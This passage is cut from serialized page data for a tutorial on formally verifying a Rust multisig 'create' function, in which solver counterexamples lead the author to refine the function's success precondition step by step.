members",{"type":26,"tag":475,"props":23095,"children":23096},{"style":714},[23097],{"type":32,"value":2383},{"type":26,"tag":475,"props":23099,"children":23100},{"style":2375},[23101],{"type":32,"value":23093},{"type":26,"tag":475,"props":23103,"children":23104},{"style":499},[23105],{"type":32,"value":2729},{"type":26,"tag":475,"props":23107,"children":23108},{"class":477,"line":966},[23109,23113,23117,23122],{"type":26,"tag":475,"props":23110,"children":23111},{"style":2375},[23112],{"type":32,"value":23030},{"type":26,"tag":475,"props":23114,"children":23115},{"style":714},[23116],{"type":32,"value":353},{"type":26,"tag":475,"props":23118,"children":23119},{"style":493},[23120],{"type":32,"value":23121},"sort",{"type":26,"tag":475,"props":23123,"children":23124},{"style":499},[23125],{"type":32,"value":3376},{"type":26,"tag":475,"props":23127,"children":23128},{"class":477,"line":979},[23129,23133,23137,23142],{"type":26,"tag":475,"props":23130,"children":23131},{"style":2375},[23132],{"type":32,"value":23030},{"type":26,"tag":475,"props":23134,"children":23135},{"style":714},[23136],{"type":32,"value":353},{"type":26,"tag":475,"props":23138,"children":23139},{"style":493},[23140],{"type":32,"value":23141},"dedup",{"type":26,"tag":475,"props":23143,"children":23144},{"style":499},[23145],{"type":32,"value":3376},{"type":26,"tag":475,"props":23147,"children":23148},{"class":477,"line":1006},[23149],{"type":26,"tag":475,"props":23150,"children":23151},{"emptyLinePlaceholder":18},[23152],{"type":32,"value":545},{"type":26,"tag":475,"props":23154,"children":23155},{"class":477,"line":1046},[23156],{"type":26,"tag":475,"props":23157,"children":23158},{"style":552},[23159],{"type":32,"value":23160}," // check we don't exceed u16\n",{"type":26,"tag":475,"props":23162,"children":23163},{"class":477,"line":1068},[23164,23168,23173,23177,23181,23185,23189],{"type":26,"tag":475,"props":23165,"children":23166},{"style":482},[23167],{"type":32,"value":2705},{"type":26,"tag":475,"props":23169,"children":23170},{"style":2375},[23171],{"type":32,"value":23172}," total_members",{"type":26,"tag":475,"props":23174,"children":23175},{"style":714},[23176],{"type":32,"value":2383},{"type":26,"tag":475,"props":23178,"children":23179},{"style":2375},[23180],{"type":32,"value":23093},{"type":26,"tag":475,"props":23182,"children":23183},{"style":714},[23184],{"type":32,"value":353},{"type":26,"tag":475,"props":23186,"children":23187},{"style":493},[23188],{"type":32,"value":8849},{"type":26,"tag":475,"props":23190,"children":23191},{"style":499},[23192],{"type":32,"value":3376},{"type":26,"tag":475,"props":23194,"children":23195},{"class":477,"line":1077},[23196,23200,23204,23208,23212],{"type":26,"tag":475,"props":23197,"children":23198},{"style":586},[23199],{"type":32,"value":11988},{"type":26,"tag":475,"props":23201,"children":23202},{"style":2375},[23203],{"type":32,"value":23172},{"type":26,"tag":475,"props":23205,"children":23206},{"style":714},[23207],{"type":32,"value":8430},{"type":26,"tag":475,"props":23209,"children":23210},{"style":903},[23211],{"type":32,"value":4234},{"type":26,"tag":475,"props":23213,"children":23214},{"style":499},[23215],{"type":32,"value":579},{"type":26,"tag":475,"props":23217,"children":23218},{"class":477,"line":1090},[23219,23223,23228,23232,23237,23241,23246],{"type":26,"tag":475,"props":23220,"children":23221},{"style":586},[23222],{"type":32,"value":15449},{"type":26,"tag":475,"props":23224,"children":23225},{"style":493},[23226],{"type":32,"value":23227}," err!",{"type":26,"tag":475,"props":23229,"children":23230},{"style":499},[23231],{"type":32,"value":626},{"type":26,"tag":475,"props":23233,"children":23234},{"style":505},[23235],{"type":32,"value":23236},"MsError",{"type":26,"tag":475,"props":23238,"children":23239},{"style":714},[23240],{"type":32,"value":3187},{"type":26,"tag":475,"props":23242,"children":23243},{"style":505},[23244],{"type":32,"value":23245},"EmptyMembers",{"type":26,"tag":475,"props":23247,"children":23248},{"style":499},[23249],{"type":32,"value":3533},{"type":26,"tag":475,"props":23251,"children":23252},{"class":477,"line":1119},[23253],{"type":26,"tag":475,"props":23254,"children":23255},{"style":499},[23256],{"type":32,"value":851},{"type":26,"tag":475,"props":23258,"children":23259},{"class":477,"line":1132},[23260],{"type":26,"tag":475,"props":23261,"children":23262},{"emptyLinePlaceholder":18},[23263],{"type":32,"value":545},{"type":26,"tag":475,"props":23265,"children":23266},{"class":477,"line":1146},[23267],{"type":26,"tag":475,"props":23268,"children":23269},{"style":552},[23270],{"type":32,"value":23271}," // make sure we don't exceed u16 on first call\n",{"type":26,"tag":475,"props":23273,"children":23274},{"class":477,"line":1155},[23275,23279,23283,23287,23291,23295,23299,23304,23308],{"type":26,"tag":475,"props":23276,"children":23277},{"style":586},[23278],{"type":32,"value":11988},{"type":26,"tag":475,"props":23280,"children":23281},{"style":2375},[23282],{"type":32,"value":23172},{"type":26,"tag":475,"props":23284,"children":23285},{"style":714},[23286],{"type":32,"value":13901},{"type":26,"tag":475,"props":23288,"children":23289},{"style":505},[23290],{"type":32,"value":13438},{"type":26,"tag":475,"props":23292,"children":23293},{"style":714},[23294],{"type":32,"value":3187},{"type":26,"tag":475,"props":23296,"children":23297},{"style":493},[23298],{"type":32,"value":19182},{"type":26,"tag":475,"props":23300,"children":23301},{"style":499},[23302],{"type":32,"value":23303},"(u16",{"type":26,"tag":475,"props":23305,"children":23306},{"style":714},[23307],{"type":32,"value":3187},{"type":26,"tag":475,"props":23309,"children":23310},{"style":499},[23311],{"type":32,"value":23312},"MAX) {\n",{"type":26,"tag":475,"props":23314,"children":23315},{"class":477,"line":1163},[23316,23320,23324,23328,23332,23336,23341],{"type":26,"tag":475,"props":23317,"children":23318},{"style":586},[23319],{"type":32,"value":15449},{"type":26,"tag":475,"props":23321,"children":23322},{"style":493},[23323],{"type":32,"value":23227},{"type":26,"tag":475,"props":23325,"children":23326},{"style":499},[23327],{"type":32,"value":626},{"type":26,"tag":475,"props":23329,"children":23330},{"style":505},[23331],{"type":32,"value":23236},{"type":26,"tag":475,"props":23333,"children":23334},{"style":714},[23335],{"type":32,"value":3187},{"type":26,"tag":475,"props":23337,"children":23338},{"style":505},[23339],{"type":32,"value":23340},"MaxMembersReached",{"type":26,"tag":475,"props":23342,"children":23343},{"style":499},[23344],{"type":32,"value":3533},{"type":26,"tag":475,"props":23346,"children":23347},{"class":477,"line":1172},[23348],{"type":26,"tag":475,"props":23349,"children":23350},{"style":499},[23351],{"type":32,"value":851},{"type":26,"tag":475,"props":23353,"children":23354},{"class":477,"line":1181},[23355],{"type":26,"tag":475,"props":23356,"children":23357},{"emptyLinePlaceholder":18},[23358],{"type":32,"value":545},{"type":26,"tag":475,"props":23360,"children":23361},{"class":477,"line":1189},[23362],{"type":26,"tag":475,"props":23363,"children":23364},{"style":552},[23365],{"type":32,"value":23366}," // make sure threshold is valid\n",{"type":26,"tag":475,"props":23368,"children":23369},{"class":477,"line":1221},[23370,23374,23378,23382,23386,23390,23394,23399,23403,23408,23412,23416,23420,23424,23428,23433,23438],{"type":26,"tag":475,"props":23371,"children":23372},{"style":586},[23373],{"type":32,"value":11988},{"type":26,"tag":475,"props":23375,"children":23376},{"style":505},[23377],{"type":32,"value":13438},{"type":26,"tag":475,"props":23379,"children":23380},{"style":714},[23381],{"type":32,"value":3187},{"type":26,"tag":475,"props":23383,"children":23384},{"style":493},[23385],{"type":32,"value":19182},{"type":26,"tag":475,"props":23387,"children":23388},{"style":499},[23389],{"type":32,"value":626},{"type":26,"tag":475,"props":23391,"children":23392},{"style":2375},[23393],{"type":32,"value":22458},{"type":26,"tag":475,"props":23395,"children":23396},{"style":499},[23397],{"type":32,"value":23398},") \u003C ",{"type":26,"tag":475,"props":23400,"children":23401},{"style":903},[23402],{"type":32,"value":3722},{"type":26,"tag":475,"props":23404,"children":23405},{"style":714},[23406],{"type":32,"value":23407}," ||",{"type":26,"tag":475,"props":23409,"children":23410},{"style":505},[23411],{"type":32,"value":13438},{"type":26,"tag":475,"props":23413,"children":23414},{"style":714},[23415],{"type":32,"value":3187},{"type":26,"tag":475,"props":23417,"children":23418},{"style":493},[23419],{"type":32,"value":19182},{"type":26,"tag":475,"props":23421,"children":23422},{"style":499},[23423],{"type":32,"value":626},{"type":26,"tag":475,"props":23425,"children":23426},{"style":2375},[23427],{"type":32,"value":22458},{"type":26,"tag":475,"props":23429,"children":23430},{"style":499},[23431],{"type":32,"value":23432},") > ",{"type":26,"tag":475,"props":23434,"children":23435},{"style":2375},[23436],{"type":32,"value":23437},"total_members",{"type":26,"tag":475,"props":23439,"children":23440},{"style":499},[23441],{"type":32,"value":579},{"type":26,"tag":475,"props":23443,"children":23444},{"class":477,"line":1848},[23445,23449,23453,23457,23461,23465,23470],{"type":26,"tag":475,"props":23446,"children":23447},{"style":586},[23448],{"type":32,"value":15449},{"type":26,"tag":475,"props":23450,"children":23451},{"style":493},[23452],{"type":32,"value":23227},{"type":26,"tag":475,"props":23454,"children":23455},{"style":499},[23456],{"type":32,"value":626},{"type":26,"tag":475,"props":23458,"children":23459},{"style":505},[23460],{"type":32,"value":23236},{"type":26,"tag":475,"props":23462,"children":23463},{"style":714},[23464],{"type":32,"value":3187},{"type":26,"tag":475,"props":23466,"children":23467},{"style":505},[23468],{"type":32,"value":23469},"InvalidThreshold",{"type":26,"tag":475,"props":23471,"children":23472},{"style":499},[23473],{"type":32,"value":3533},{"type":26,"tag":475,"props":23475,"children":23476},{"class":477,"line":1857},[23477],{"type":26,"tag":475,"props":23478,"children":23479},{"style":499},[23480],{"type":32,"value":851},{"type":26,"tag":475,"props":23482,"children":23483},{"class":477,"line":1866},[23484],{"type":26,"tag":475,"props":23485,"children":23486},{"emptyLinePlaceholder":18},[23487],{"type":32,"value":545},{"type":26,"tag":475,"props":23489,"children":23490},{"class":477,"line":1875},[23491,23495,23499,23503,23507,23512,23516,23520],{"type":26,"tag":475,"props":23492,"children":23493},{"style":2375},[23494],{"type":32,"value":19931},{"type":26,"tag":475,"props":23496,"children":23497},{"style":714},[23498],{"type":32,"value":353},{"type":26,"tag":475,"props":23500,"children":23501},{"style":499},[23502],{"type":32,"value":14382},{"type":26,"tag":475,"props":23504,"children":23505},{"style":714},[23506],{"type":32,"value":353},{"type":26,"tag":475,"props":23508,"children":23509},{"style":499},[23510],{"type":32,"value":23511},"multisig",{"type":26,"tag":475,"props":23513,"children":23514},{"style":714},[23515],{"type":32,"value":353},{"type":26,"tag":475,"props":23517,"children":23518},{"style":493},[23519],{"type":32,"value":20448},{"type":26,"tag":475,"props":23521,"children":23522},{"style":499},[23523],{"type":32,"value":3169},{"type":26,"tag":475,"props":23525,"children":23526},{"class":477,"line":1883},[23527,23532],{"type":26,"tag":475,"props":23528,"children":23529},{"style":2375},[23530],{"type":32,"value":23531}," threshold",{"type":26,"tag":475,"props":23533,"children":23534},{"style":499},[23535],{"type":32,"value":2425},{"type":26,"tag":475,"props":23537,"children":23538},{"class":477,"line":1892},[23539,23544],{"type":26,"tag":475,"props":23540,"children":23541},{"style":2375},[23542],{"type":32,"value":23543}," create_key",{"type":26,"tag":475,"props":23545,"children":23546},{"style":499},[23547],{"type":32,"value":2425},{"type":26,"tag":475,"props":23549,"children":23550},{"class":477,"line":1901},[23551,23556],{"type":26,"tag":475,"props":23552,"children":23553},{"style":2375},[23554],{"type":32,"value":23555}," members",{"type":26,"tag":475,"props":23557,"children":23558},{"style":499},[23559],{"type":32,"value":2425},{"type":26,"tag":475,"props":23561,"children":23562},{"class":477,"line":1910},[23563,23567,23571,23575,23580,23584,23588,23592,23597,23601,23605,23609],{"type":26,"tag":475,"props":23564,"children":23565},{"style":714},[23566],{"type":32,"value":7463},{"type":26,"tag":475,"props":23568,"children":23569},{"style":2375},[23570],{"type":32,"value":19988},{"type":26,"tag":475,"props":23572,"children":23573},{"style":714},[23574],{"type":32,"value":353},{"type":26,"tag":475,"props":23576,"children":23577},{"style":499},[23578],{"type":32,"value":23579},"bumps",{"type":26,"tag":475,"props":23581,"children":23582},{"style":714},[23583],{"type":32,"value":353},{"type":26,"tag":475,"props":23585,"children":23586},{"style":493},[23587],{"type":32,"value":16057},{"type":26,"tag":475,"props":23589,"children":23590},{"style":499},[23591],{"type":32,"value":626},{"type":26,"tag":475,"props":23593,"children":23594},{"style":629},[23595],{"type":32,"value":23596},"\"multisig\"",{"type":26,"tag":475,"props":23598,"children":23599},{"style":499},[23600],{"type":32,"value":2835},{"type":26,"tag":475,"props":23602,"children":23603},{"style":714},[23604],{"type":32,"value":353},{"type":26,"tag":475,"props":23606,"children":23607},{"style":493},[23608],{"type":32,"value":3371},{"type":26,"tag":475,"props":23610,"children":23611},{"style":499},[23612],{"type":32,"value":3197},{"type":26,"tag":475,"props":23614,"children":23615},{"class":477,"line":1919},[23616],{"type":26,"tag":475,"props":23617,"children":23618},{"style":499},[23619],{"type":32,"value":23620}," )\n",{"type":26,"tag":475,"props":23622,"children":23623},{"class":477,"line":1927},[23624],{"type":26,"tag":475,"props":23625,"children":23626},{"style":499},[23627],{"type":32,"value":3607},{"type":26,"tag":35,"props":23629,"children":23630},{},[23631,23633,23638,23640,23645],{"type":32,"value":23632},"We can start by testing an empty ",{"type":26,"tag":53,"props":23634,"children":23636},{"className":23635},[],[23637],{"type":32,"value":19862},{"type":32,"value":23639}," (this will default to ",{"type":26,"tag":53,"props":23641,"children":23643},{"className":23642},[],[23644],{"type":32,"value":3703},{"type":32,"value":23646},"):",{"type":26,"tag":465,"props":23648,"children":23650},{"code":23649,"language":2684,"meta":7,"className":2685,"style":7},"#[succeeds_if()]\npub fn create(...) { ... }\n",[23651],{"type":26,"tag":53,"props":23652,"children":23653},{"__ignoreMap":7},[23654,23662],{"type":26,"tag":475,"props":23655,"children":23656},{"class":477,"line":478},[23657],{"type":26,"tag":475,"props":23658,"children":23659},{"style":499},[23660],{"type":32,"value":23661},"#[succeeds_if()]\n",{"type":26,"tag":475,"props":23663,"children":23664},{"class":477,"line":516},[23665,23669,23673,23677,23681,23685,23690,23694],{"type":26,"tag":475,"props":23666,"children":23667},{"style":482},[23668],{"type":32,"value":13397},{"type":26,"tag":475,"props":23670,"children":23671},{"style":482},[23672],{"type":32,"value":13402},{"type":26,"tag":475,"props":23674,"children":23675},{"style":493},[23676],{"type":32,"value":6825},{"type":26,"tag":475,"props":23678,"children":23679},{"style":499},[23680],{"type":32,"value":626},{"type":26,"tag":475,"props":23682,"children":23683},{"style":714},[23684],{"type":32,"value":9300},{"type":26,"tag":475,"props":23686,"children":23687},{"style":499},[23688],{"type":32,"value":23689},") { ",{"type":26,"tag":475,"props":23691,"children":23692},{"style":714},[23693],{"type":32,"value":9300},{"type":26,"tag":475,"props":23695,"children":23696},{"style":499},[23697],{"type":32,"value":1116},{"type":26,"tag":35,"props":23699,"children":23700},{},[23701],{"type":32,"value":23702},"Running the solver, we get:",{"type":26,"tag":465,"props":23704,"children":23706},{"code":23705},"...\nVERIFICATION:- FAILED\nVerification Time: 6.404167s\n",[23707],{"type":26,"tag":53,"props":23708,"children":23709},{"__ignoreMap":7},[23710],{"type":32,"value":23705},{"type":26,"tag":35,"props":23712,"children":23713},{},[23714,23716,23721],{"type":32,"value":23715},"This means that ",{"type":26,"tag":53,"props":23717,"children":23719},{"className":23718},[],[23720],{"type":32,"value":3703},{"type":32,"value":23722}," does not imply that the function will succeed (which is expected looking at the implementation above).",{"type":26,"tag":35,"props":23724,"children":23725},{},[23726],{"type":32,"value":23727},"We can ask the solver to produce a counterexample:",{"type":26,"tag":465,"props":23729,"children":23731},{"code":23730},"threshold: 33764\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[23732],{"type":26,"tag":53,"props":23733,"children":23734},{"__ignoreMap":7},[23735],{"type":32,"value":23730},{"type":26,"tag":35,"props":23737,"children":23738},{},[23739],{"type":32,"value":23740},"In this case, we can see that the threshold is invalid; it should not be larger than the number of members.",{"type":26,"tag":35,"props":23742,"children":23743},{},[23744],{"type":26,"tag":2615,"props":23745,"children":23746},{},[23747,23749,23755],{"type":32,"value":23748},"Note also that the verifier decided to use a ",{"type":26,"tag":53,"props":23750,"children":23752},{"className":23751},[],[23753],{"type":32,"value":23754},"SparseVec",{"type":32,"value":23756}," which is one of our custom vec implementations. In this case, the code we are verifying doesn't actually read or write to the vector and so we can model it simply as a symbolic size (with no data).",{"type":26,"tag":35,"props":23758,"children":23759},{},[23760],{"type":26,"tag":2615,"props":23761,"children":23762},{},[23763,23765,23770,23771,23777,23779,23784,23786,23791],{"type":32,"value":23764},"Using a sparse vec rather than a concrete vec is generally preferred as it speeds up computation and allows us to model arbitrarily sized vecs. ",{"type":26,"tag":53,"props":23766,"children":23768},{"className":23767},[],[23769],{"type":32,"value":3519},{"type":32,"value":209},{"type":26,"tag":53,"props":23772,"children":23774},{"className":23773},[],[23775],{"type":32,"value":23776},"pop",{"type":32,"value":23778}," are stubbed out to simply panic for the ",{"type":26,"tag":53,"props":23780,"children":23782},{"className":23781},[],[23783],{"type":32,"value":23754},{"type":32,"value":23785}," and if this code tried to do that we would fall back to the concrete ",{"type":26,"tag":53,"props":23787,"children":23789},{"className":23788},[],[23790],{"type":32,"value":16917},{"type":32,"value":23792}," type.",{"type":26,"tag":35,"props":23794,"children":23795},{},[23796],{"type":32,"value":23797},"We can add this to our constraint and try again:",{"type":26,"tag":465,"props":23799,"children":23801},{"code":23800,"language":2684,"meta":7,"className":2685,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n)]\npub fn create(...) { ... }\n",[23802],{"type":26,"tag":53,"props":23803,"children":23804},{"__ignoreMap":7},[23805,23813,23850,23857],{"type":26,"tag":475,"props":23806,"children":23807},{"class":477,"line":478},[23808],{"type":26,"tag":475,"props":23809,"children":23810},{"style":499},[23811],{"type":32,"value":23812},"#[succeeds_if(\n",{"type":26,"tag":475,"props":23814,"children":23815},{"class":477,"line":516},[23816,23821,23825,23829,23833,23837,23841,23845],{"type":26,"tag":475,"props":23817,"children":23818},{"style":499},[23819],{"type":32,"value":23820}," (threshold ",{"type":26,"tag":475,"props":23822,"children":23823},{"style":482},[23824],{"type":32,"value":8553},{"type":26,"tag":475,"props":23826,"children":23827},{"style":505},[23828],{"type":32,"value":13438},{"type":26,"tag":475,"props":23830,"children":23831},{"style":499},[23832],{"type":32,"value":2794},{"type":26,"tag":475,"props":23834,"children":23835},{"style":714},[23836],{"type":32,"value":19123},{"type":26,"tag":475,"props":23838,"children":23839},{"style":499},[23840],{"type":32,"value":23093},{"type":26,"tag":475,"props":23842,"children":23843},{"style":714},[23844],{"type":32,"value":353},{"type":26,"tag":475,"props":23846,"children":23847},{"style":499},[23848],{"type":32,"value":23849},"len()\n",{"type":26,"tag":475,"props":23851,"children":23852},{"class":477,"line":539},[23853],{"type":26,"tag":475,"props":23854,"children":23855},{"style":499},[23856],{"type":32,"value":19966},{"type":26,"tag":475,"props":23858,"children":23859},{"class":477,"line":548},[23860,23864,23868,23872,23876,23880,23884,23888],{"type":26,"tag":475,"props":23861,"children":23862},{"style":482},[23863],{"type":32,"value":13397},{"type":26,"tag":475,"props":23865,"children":23866},{"style":482},[23867],{"type":32,"value":13402},{"type":26,"tag":475,"props":23869,"children":23870},{"style":493},[23871],{"type":32,"value":6825},{"type":26,"tag":475,"props":23873,"children":23874},{"style":499},[23875],{"type":32,"value":626},{"type":26,"tag":475,"props":23877,"children":23878},{"style":714},[23879],{"type":32,"value":9300},{"type":26,"tag":475,"props":23881,"children":23882},{"style":499},[23883],{"type":32,"value":23689},{"type":26,"tag":475,"props":23885,"children":23886},{"style":714},[23887],{"type":32,"value":9300},{"type":26,"tag":475,"props":23889,"children":23890},{"style":499},[23891],{"type":32,"value":1116},{"type":26,"tag":35,"props":23893,"children":23894},{},[23895],{"type":32,"value":23896},"Verification failed again! This time we get a different counterexample:",{"type":26,"tag":465,"props":23898,"children":23900},{"code":23899},"threshold: 0\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[23901],{"type":26,"tag":53,"props":23902,"children":23903},{"__ignoreMap":7},[23904],{"type":32,"value":23899},{"type":26,"tag":35,"props":23906,"children":23907},{},[23908],{"type":32,"value":23909},"Aha! The threshold cannot be 0 either... Let's try again:",{"type":26,"tag":465,"props":23911,"children":23913},{"code":23912,"language":2684,"meta":7,"className":2685,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n && threshold != 0\n)]\npub fn create(...) { ... }\n",[23914],{"type":26,"tag":53,"props":23915,"children":23916},{"__ignoreMap":7},[23917,23924,23959,23980,23987],{"type":26,"tag":475,"props":23918,"children":23919},{"class":477,"line":478},[23920],{"type":26,"tag":475,"props":23921,"children":23922},{"style":499},[23923],{"type":32,"value":23812},{"type":26,"tag":475,"props":23925,"children":23926},{"class":477,"line":516},[23927,23931,23935,23939,23943,23947,23951,23955],{"type":26,"tag":475,"props":23928,"children":23929},{"style":499},[23930],{"type":32,"value":23820},{"type":26,"tag":475,"props":23932,"children":23933},{"style":482},[23934],{"type":32,"value":8553},{"type":26,"tag":475,"props":23936,"children":23937},{"style":505},[23938],{"type":32,"value":13438},{"type":26,"tag":475,"props":23940,"children":23941},{"style":499},[23942],{"type":32,"value":2794},{"type":26,"tag":475,"props":23944,"children":23945},{"style":714},[23946],{"type":32,"value":19123},{"type":26,"tag":475,"props":23948,"children":23949},{"style":499},[23950],{"type":32,"value":23093},{"type":26,"tag":475,"props":23952,"children":23953},{"style":714},[23954],{"type":32,"value":353},{"type":26,"tag":475,"props":23956,"children":23957},{"style":499},[23958],{"type":32,"value":23849},{"type":26,"tag":475,"props":23960,"children":23961},{"class":477,"line":539},[23962,23966,23971,23975],{"type":26,"tag":475,"props":23963,"children":23964},{"style":714},[23965],{"type":32,"value":15327},{"type":26,"tag":475,"props":23967,"children":23968},{"style":499},[23969],{"type":32,"value":23970}," threshold ",{"type":26,"tag":475,"props":23972,"children":23973},{"style":714},[23974],{"type":32,"value":15394},{"type":26,"tag":475,"props":23976,"children":23977},{"style":499},[23978],{"type":32,"value":23979}," 0\n",{"type":26,"tag":475,"props":23981,"children":23982},{"class":477,"line":548},[23983],{"type":26,"tag":475,"props":23984,"children":23985},{"style":499},[23986],{"type":32,"value":19966},{"type":26,"tag":475,"props":23988,"children":23989},{"class":477,"line":558},[23990,23994,23998,24002,24006,24010,24014,24018],{"type":26,"tag":475,"props":23991,"children":23992},{"style":482},[23993],{"type":32,"value":13397},{"type":26,"tag":475,"props":23995,"children":23996},{"style":482},[23997],{"type":32,"value":13402},{"type":26,"tag":475,"props":23999,"children":24000},{"style":493},[24001],{"type":32,"value":6825},{"type":26,"tag":475,"props":24003,"children":24004},{"style":499},[24005],{"type":32,"value":626},{"type":26,"tag":475,"props":24007,"children":24008},{"style":714},[24009],{"type":32,"value":9300},{"type":26,"tag":475,"props":24011,"children":24012},{"style":499},[24013],{"type":32,"value":23689},{"type":26,"tag":475,"props":24015,"children":24016},{"style":714},[24017],{"type":32,"value":9300},{"type":26,"tag":475,"props":24019,"children":24020},{"style":499},[24021],{"type":32,"value":1116},{"type":26,"tag":35,"props":24023,"children":24024},{},[24025],{"type":32,"value":24026},"A third counterexample:",{"type":26,"tag":465,"props":24028,"children":24030},{"code":24029},"threshold: 4\ncreate_key: ...\nmembers: SparseVec { size: 536870920 }\n",[24031],{"type":26,"tag":53,"props":24032,"children":24033},{"__ignoreMap":7},[24034],{"type":32,"value":24029},{"type":26,"tag":35,"props":24036,"children":24037},{},[24038,24040,24046],{"type":32,"value":24039},"Here we see the size of our ",{"type":26,"tag":53,"props":24041,"children":24043},{"className":24042},[],[24044],{"type":32,"value":24045},"members",{"type":32,"value":24047}," vec is huge! We need to constrain that to be less than u16::MAX:",{"type":26,"tag":465,"props":24049,"children":24051},{"code":24050,"language":2684,"meta":7,"className":2685,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n && (threshold != 0)\n && (members.len() \u003C= (u16::MAX as usize))\n)]\npub fn create(...) { ... }\n",[24052],{"type":26,"tag":53,"props":24053,"children":24054},{"__ignoreMap":7},[24055,24062,24097,24118,24170,24177],{"type":26,"tag":475,"props":24056,"children":24057},{"class":477,"line":478},[24058],{"type":26,"tag":475,"props":24059,"children":24060},{"style":499},[24061],{"type":32,"value":23812},{"type":26,"tag":475,"props":24063,"children":24064},{"class":477,"line":516},[24065,24069,24073,24077,24081,24085,24089,24093],{"type":26,"tag":475,"props":24066,"children":24067},{"style":499},[24068],{"type":32,"value":23820},{"type":26,"tag":475,"props":24070,"children":24071},{"style":482},[24072],{"type":32,"value":8553},{"type":26,"tag":475,"props":24074,"children":24075},{"style":505},[24076],{"type":32,"value":13438},{"type":26,"tag":475,"props":24078,"children":24079},{"style":499},[24080],{"type":32,"value":2794},{"type":26,"tag":475,"props":24082,"children":24083},{"style":714},[24084],{"type":32,"value":19123},{"type":26,"tag":475,"props":24086,"children":24087},{"style":499},[24088],{"type":32,"value":23093},{"type":26,"tag":475,"props":24090,"children":24091},{"style":714},[24092],{"type":32,"value":353},{"type":26,"tag":475,"props":24094,"children":24095},{"style":499},[24096],{"type":32,"value":23849},{"type":26,"tag":475,"props":24098,"children":24099},{"class":477,"line":539},[24100,24104,24109,24113],{"type":26,"tag":475,"props":24101,"children":24102},{"style":714},[24103],{"type":32,"value":15327},{"type":26,"tag":475,"props":24105,"children":24106},{"style":499},[24107],{"type":32,"value":24108}," (threshold ",{"type":26,"tag":475,"props":24110,"children":24111},{"style":714},[24112],{"type":32,"value":15394},{"type":26,"tag":475,"props":24114,"children":24115},{"style":499},[24116],{"type":32,"value":24117}," 0)\n",{"type":26,"tag":475,"props":24119,"children":24120},{"class":477,"line":548},[24121,24125,24129,24133,24137,24141,24145,24150,24154,24158,24162,24166],{"type":26,"tag":475,"props":24122,"children":24123},{"style":714},[24124],{"type":32,"value":15327},{"type":26,"tag":475,"props":24126,"children":24127},{"style":499},[24128],{"type":32,"value":22707},{"type":26,"tag":475,"props":24130,"children":24131},{"style":714},[24132],{"type":32,"value":353},{"type":26,"tag":475,"props":24134,"children":24135},{"style":499},[24136],{"type":32,"value":20729},{"type":26,"tag":475,"props":24138,"children":24139},{"style":714},[24140],{"type":32,"value":19123},{"type":26,"tag":475,"props":24142,"children":24143},{"style":499},[24144],{"type":32,"value":2775},{"type":26,"tag":475,"props":24146,"children":24147},{"style":505},[24148],{"type":32,"value":24149},"u16",{"type":26,"tag":475,"props":24151,"children":24152},{"style":714},[24153],{"type":32,"value":3187},{"type":26,"tag":475,"props":24155,"children":24156},{"style":505},[24157],{"type":32,"value":20747},{"type":26,"tag":475,"props":24159,"children":24160},{"style":482},[24161],{"type":32,"value":8539},{"type":26,"tag":475,"props":24163,"children":24164},{"style":505},[24165],{"type":32,"value":13438},{"type":26,"tag":475,"props":24167,"children":24168},{"style":499},[24169],{"type":32,"value":1510},{"type":26,"tag":475,"props":24171,"children":24172},{"class":477,"line":558},[24173],{"type":26,"tag":475,"props":24174,"children":24175},{"style":499},[24176],{"type":32,"value":19966},{"type":26,"tag":475,"props":24178,"children":24179},{"class":477,"line":582},[24180,24184,24188,24192,24196,24200,24204,24208],{"type":26,"tag":475,"props":24181,"children":24182},{"style":482},[24183],{"type":32,"value":13397},{"type":26,"tag":475,"props":24185,"children":24186},{"style":482},[24187],{"type":32,"value":13402},{"type":26,"tag":475,"props":24189,"children":24190},{"style":493},[24191],{"type":32,"value":6825},{"type":26,"tag":475,"props":24193,"children":24194},{"style":499},[24195],{"type":32,"value":626},{"type":26,"tag":475,"props":24197,"children":24198},{"style":714},[24199],{"type":32,"value":9300},{"type":26,"tag":475,"props":24201,"children":24202},{"style":499},[24203],{"type":32,"value":23689},{"type":26,"tag":475,"props":24205,"children":24206},{"style":714},[24207],{"type":32,"value":9300},{"type":26,"tag":475,"props":24209,"children":24210},{"style":499},[24211],{"type":32,"value":1116},{"type":26,"tag":35,"props":24213,"children":24214},{},[24215],{"type":32,"value":24216},"And now we get:",{"type":26,"tag":465,"props":24218,"children":24220},{"code":24219},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.6634517s\n",[24221],{"type":26,"tag":53,"props":24222,"children":24223},{"__ignoreMap":7},[24224],{"type":32,"value":24219},{"type":26,"tag":35,"props":24226,"children":24227},{},[24228],{"type":32,"value":24229},"🥳🥳🥳",{"type":26,"tag":35,"props":24231,"children":24232},{},[24233],{"type":32,"value":24234},"The attentive reader may have noticed that we didn't need to verify this condition:",{"type":26,"tag":465,"props":24236,"children":24238},{"code":24237,"language":2684,"meta":7,"className":2685,"style":7},"if total_members \u003C 1 {\n return err!(MsError::EmptyMembers);\n}\n",[24239],{"type":26,"tag":53,"props":24240,"children":24241},{"__ignoreMap":7},[24242,24265,24296],{"type":26,"tag":475,"props":24243,"children":24244},{"class":477,"line":478},[24245,24249,24253,24257,24261],{"type":26,"tag":475,"props":24246,"children":24247},{"style":586},[24248],{"type":32,"value":15285},{"type":26,"tag":475,"props":24250,"children":24251},{"style":2375},[24252],{"type":32,"value":23172},{"type":26,"tag":475,"props":24254,"children":24255},{"style":714},[24256],{"type":32,"value":8430},{"type":26,"tag":475,"props":24258,"children":24259},{"style":903},[24260],{"type":32,"value":4234},{"type":26,"tag":475,"props":24262,"children":24263},{"style":499},[24264],{"type":32,"value":579},{"type":26,"tag":475,"props":24266,"children":24267},{"class":477,"line":516},[24268,24272,24276,24280,24284,24288,24292],{"type":26,"tag":475,"props":24269,"children":24270},{"style":586},[24271],{"type":32,"value":16695},{"type":26,"tag":475,"props":24273,"children":24274},{"style":493},[24275],{"type":32,"value":23227},{"type":26,"tag":475,"props":24277,"children":24278},{"style":499},[24279],{"type":32,"value":626},{"type":26,"tag":475,"props":24281,"children":24282},{"style":505},[24283],{"type":32,"value":23236},{"type":26,"tag":475,"props":24285,"children":24286},{"style":714},[24287],{"type":32,"value":3187},{"type":26,"tag":475,"props":24289,"children":24290},{"style":505},[24291],{"type":32,"value":23245},{"type":26,"tag":475,"props":24293,"children":24294},{"style":499},[24295],{"type":3